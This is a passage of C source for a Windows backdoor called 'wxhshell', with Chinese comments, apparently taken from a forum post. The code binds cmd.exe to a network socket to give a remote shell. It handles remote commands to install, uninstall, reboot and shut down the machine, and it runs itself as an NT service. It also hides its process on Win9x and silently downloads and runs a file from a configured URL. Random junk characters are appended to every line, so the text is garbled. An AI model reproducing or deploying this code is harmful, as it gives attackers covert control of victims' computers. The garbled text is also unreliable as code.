      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d=?Mj]  
    break; f#v#)Gp+  
  } Jh\: X<q  
  // 安装 j6e}7  
  case 'i': { 7rdw`  
    if(Install()) {x[;5TM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ("?&p3];b  
    else ;V~rWzKM(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kG$E tE#  
    break; '(*&Ax  
    } jJUGZVM6)  
  // 卸载 &]VQR2J}:  
  case 'r': { !{Q:(B#ec  
    if(Uninstall()) {xv?wenE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o9ctJf=qn  
    else %GX uuE}mX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RVkU+7  
    break; ~M ,{ _  
    } "]T$\PJun  
  // 显示 wxhshell 所在路径 \TbsoWX  
  case 'p': { `*NO_ K  
    char svExeFile[MAX_PATH]; hV-V eKjZ(  
    strcpy(svExeFile,"\n\r"); ~!ZmF(:  
      strcat(svExeFile,ExeFile); T A\4uy6o  
        send(wsh,svExeFile,strlen(svExeFile),0); K$GRJ  
    break; ^qeY9O  
    } (T|TEt  
  // 重启 j2 }  
  case 'b': { c~^CKgr~R9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H|;*_  
    if(Boot(REBOOT)) 4mN].X[,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !/j,hO4Z4  
    else { w; 4jx(  
    closesocket(wsh); iiX\it$s  
    ExitThread(0); %kh#{*q$  
    } :K~rvv\L7  
    break; vZ$U^>":  
    } i<T P:  
  // 关机 pWs\.::B  
  case 'd': { +Qh[sGDdY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F$Im9T6  
    if(Boot(SHUTDOWN)) D XV@DQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7}4'dW.  
    else { 7G5y)Qb  
    closesocket(wsh); 0n:?sFY>  
    ExitThread(0); TN35CaSmq  
    } F{k$Atb?g/  
    break; BXg!zW%+  
    } p$Kj<:qiP  
  // 获取shell ba uA}3  
  case 's': { (j' {~FB  
    CmdShell(wsh); 7qe7F l3  
    closesocket(wsh); EntF@ln!  
    ExitThread(0); keLR1qf  
    break; 7]Al*)  
  } e74zR6  
  // 退出 B%tIwUE2  
  case 'x': { Vb@ 4(Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J I<3\=:+  
    CloseIt(wsh); FR:d^mL  
    break; 7}be>(  
    } UJz#QkAio  
  // 离开 \q~w<%9Dq  
  case 'q': { -2F@~m|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hv* >%p  
    closesocket(wsh); . yZm^&  
    WSACleanup(); QsiJ%O Q  
    exit(1); Q}kfM^i  
    break; P+<BOG|m  
        } ^P`NMSw  
  } wV\%R,bZj  
  } egm)a   
P|e`^Frxt  
  // 提示信息 pDu{e>S|:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *AZ?~ i^o  
} M`GP^Ta  
  } 5Go0}'*%  
Q48+O?&  
  return; xS'zZ%?  
} s/ M7Zl  
kG/X"6pZ  
// shell模块句柄 b'i'GJBQ+$  
int CmdShell(SOCKET sock) .~3kGf":  
{ CRFCqmevR  
STARTUPINFO si; '\`6ot8  
ZeroMemory(&si,sizeof(si)); EYL]TeS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `} =yG_!A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g \Wj+el}  
PROCESS_INFORMATION ProcessInfo; 9UwLF`XM  
char cmdline[]="cmd"; 8j%'9vPi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <FY&h#  
  return 0; x(8n 9Q>  
} >1 @Ltvm  
`)32&\  
// 自身启动模式 ueDvMP  
int StartFromService(void) St@l]u9  
{ e}A&V+  
typedef struct t<nFy  
{ c-kA^z{f  
  DWORD ExitStatus; e,HMwD  
  DWORD PebBaseAddress; wW:7y>z)  
  DWORD AffinityMask; Wta]BX  
  DWORD BasePriority; ~-TOsRvxR  
  ULONG UniqueProcessId; 5IW8=$k~.)  
  ULONG InheritedFromUniqueProcessId; *8bK')W  
}   PROCESS_BASIC_INFORMATION; hq#kvvi{f  
L=O lyHO  
PROCNTQSIP NtQueryInformationProcess; <l$P&jSF3  
Vtb1[cnna  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n`(~O O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -4w%Iy  
|uI?ySF  
  HANDLE             hProcess; =m7H)z)i*J  
  PROCESS_BASIC_INFORMATION pbi; _%y4q%#  
k[\a)WcY8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -DP*q3  
  if(NULL == hInst ) return 0; !9;)N,  
=O!|IAe#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /.R<,/gj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qI%&ay"/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V1B(|P  
\M{[f=6llh  
  if (!NtQueryInformationProcess) return 0; h >-'-Hx+  
|;+qld[4z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h}Rx_d  
  if(!hProcess) return 0; x5}lgyt  
?cKZ_c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rn8cdM N  
xzsdG?P  
  CloseHandle(hProcess); <8!  Tq  
$7Z)Yp&T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wpXgPVZT  
if(hProcess==NULL) return 0; ,:)`+v<  
1!1!PA9u  
HMODULE hMod; {EA1vo"  
char procName[255]; 1@>$ Gcc  
unsigned long cbNeeded; 0K `[,$Y  
9CJ(Z+;OM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "Y;}G lE  
{u"8[@@./  
  CloseHandle(hProcess); :@eHX&  
ST1'\Eo  
if(strstr(procName,"services")) return 1; // 以服务启动 s$w;q\1z  
LlHa5]E@6  
  return 0; // 注册表启动 edipA P~!  
} 7I9aG.;  
^{F_ a  
// 主模块 aI3CNeav  
int StartWxhshell(LPSTR lpCmdLine) 8|@9{  
{ e(?]SU|  
  SOCKET wsl; =2Cj,[$  
BOOL val=TRUE; wM~H(=s`D  
  int port=0; wi_'iv  
  struct sockaddr_in door; SmhGZ  
5'KA'>@  
  if(wscfg.ws_autoins) Install(); aUc|V{Jp  
pTJX""C  
port=atoi(lpCmdLine); iEm ?  
E5</h"1  
if(port<=0) port=wscfg.ws_port; M5g\s;y;  
SJ?cI!=x  
  WSADATA data; MSw$_d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %Ip*Kq-  
>6<q8{*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #wY0D_3@1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _%/}>L>-`8  
  door.sin_family = AF_INET; .iG&Lw\,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k V;fD$iW;  
  door.sin_port = htons(port); 7fHc[,  
-0Cnp/Yj@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~q+hV+fa>  
closesocket(wsl); +s++7<C  
return 1; S >yLqPp  
} [sF(#Y:I  
>R\lqLILb,  
  if(listen(wsl,2) == INVALID_SOCKET) { l +*&:Q/  
closesocket(wsl); 0[Ht_qxb  
return 1; ^uBxgWIC  
} ? *>]")[>  
  Wxhshell(wsl); *.#oxcll  
  WSACleanup(); >UDd @  
~PnTaAPJ  
return 0; Fv74bC %  
:,B7-kBw  
} #bX9Tu0  
*v ?m6R=)h  
// 以NT服务方式启动 A A^{B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2ZcKK8X;7  
{ #bH_Dg5I  
DWORD   status = 0; c(#;_Ve2P  
  DWORD   specificError = 0xfffffff; MUnEuhXTr  
[F!Y%Zp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A@hppaP!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U8.7>ENnP&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _>+8og/%@  
  serviceStatus.dwWin32ExitCode     = 0; R :X0'zeRr  
  serviceStatus.dwServiceSpecificExitCode = 0; `h:34RC;  
  serviceStatus.dwCheckPoint       = 0; ":a\z(*t  
  serviceStatus.dwWaitHint       = 0; ]:>,A@7  
i4JqT\q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Fz#X= gmG  
  if (hServiceStatusHandle==0) return; bKg8rK u  
_{<seA  
status = GetLastError(); /!h;c$  
  if (status!=NO_ERROR) VTy9_~q  
{ Xpe)PXb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )R`xR,H  
    serviceStatus.dwCheckPoint       = 0; [AMAa]^  
    serviceStatus.dwWaitHint       = 0; I$q]. B  
    serviceStatus.dwWin32ExitCode     = status; vM:cWat  
    serviceStatus.dwServiceSpecificExitCode = specificError; a=cvCf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BTgG4F/)  
    return; jTO), v:w  
  } b 5yW_Ozdh  
hj'(*ND7z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CI353-`  
  serviceStatus.dwCheckPoint       = 0; MZ+^-@X  
  serviceStatus.dwWaitHint       = 0; 0}!\$"|D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *Kdda} J+  
} J'$>Gk]  
@)o^uU T  
// 处理NT服务事件,比如:启动、停止 fU=B4V4@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8Nu=^[qwQM  
{ /xtq_*I1S  
switch(fdwControl) I:K"'R^  
{ {|I;YDA  
case SERVICE_CONTROL_STOP: hGpv2>M  
  serviceStatus.dwWin32ExitCode = 0; y;_% W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Pj}6 6.  
  serviceStatus.dwCheckPoint   = 0; UMAgA!s  
  serviceStatus.dwWaitHint     = 0; Zm6{n '  
  { zR2B- &]H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tg!m`9s+  
  } _S>JKz  
  return; I(S`j[U  
case SERVICE_CONTROL_PAUSE: 4R18A=X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :oJ=iB'Zc  
  break; 'Ut7{rZ5  
case SERVICE_CONTROL_CONTINUE: hjZKUM G(k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'yMF~r3J  
  break; "g$IP9?U  
case SERVICE_CONTROL_INTERROGATE: /p8dZ+X  
  break; O,Cb"{qH8  
}; nBk)WX&[K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u\C lP#  
} E? _Z`*h  
PLK3v4kVM!  
// 标准应用程序主函数 dqN5]Sb2B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xlQBe-Wg  
{ Q ]}Hd-  
}GeSu|m(  
// 获取操作系统版本 Y1]n^  
OsIsNt=GetOsVer(); rqY`8Ry2M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =Xo =Qcr  
:Nz9xD$S5  
  // 从命令行安装 vM5k_D  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6I%5Q4Ll  
e)(wss+d7P  
  // 下载执行文件 /5u<78GW1  
if(wscfg.ws_downexe) { 4O35 "1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZMel{w`n  
  WinExec(wscfg.ws_filenam,SW_HIDE); [eC2"&}  
} .ev?"!Vpp9  
ouuuc9x]  
if(!OsIsNt) { J:Qa5MTWp  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z'\h  
HideProc(); k |eBJ%  
StartWxhshell(lpCmdLine); UEguF &  
} ljb7oA3cP4  
else [PDNwh0g5  
  if(StartFromService()) Q\ 0cvmU  
  // 以服务方式启动 #3gp6*R  
  StartServiceCtrlDispatcher(DispatchTable); dw*_(ys  
else XCBL}pNkR  
  // 普通方式启动 g"}%2~Urf  
  StartWxhshell(lpCmdLine); A<??T[  
~^1{B\I  
return 0; CLUW!F  
}
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只看该作者 1 发表于: 2006-10-10
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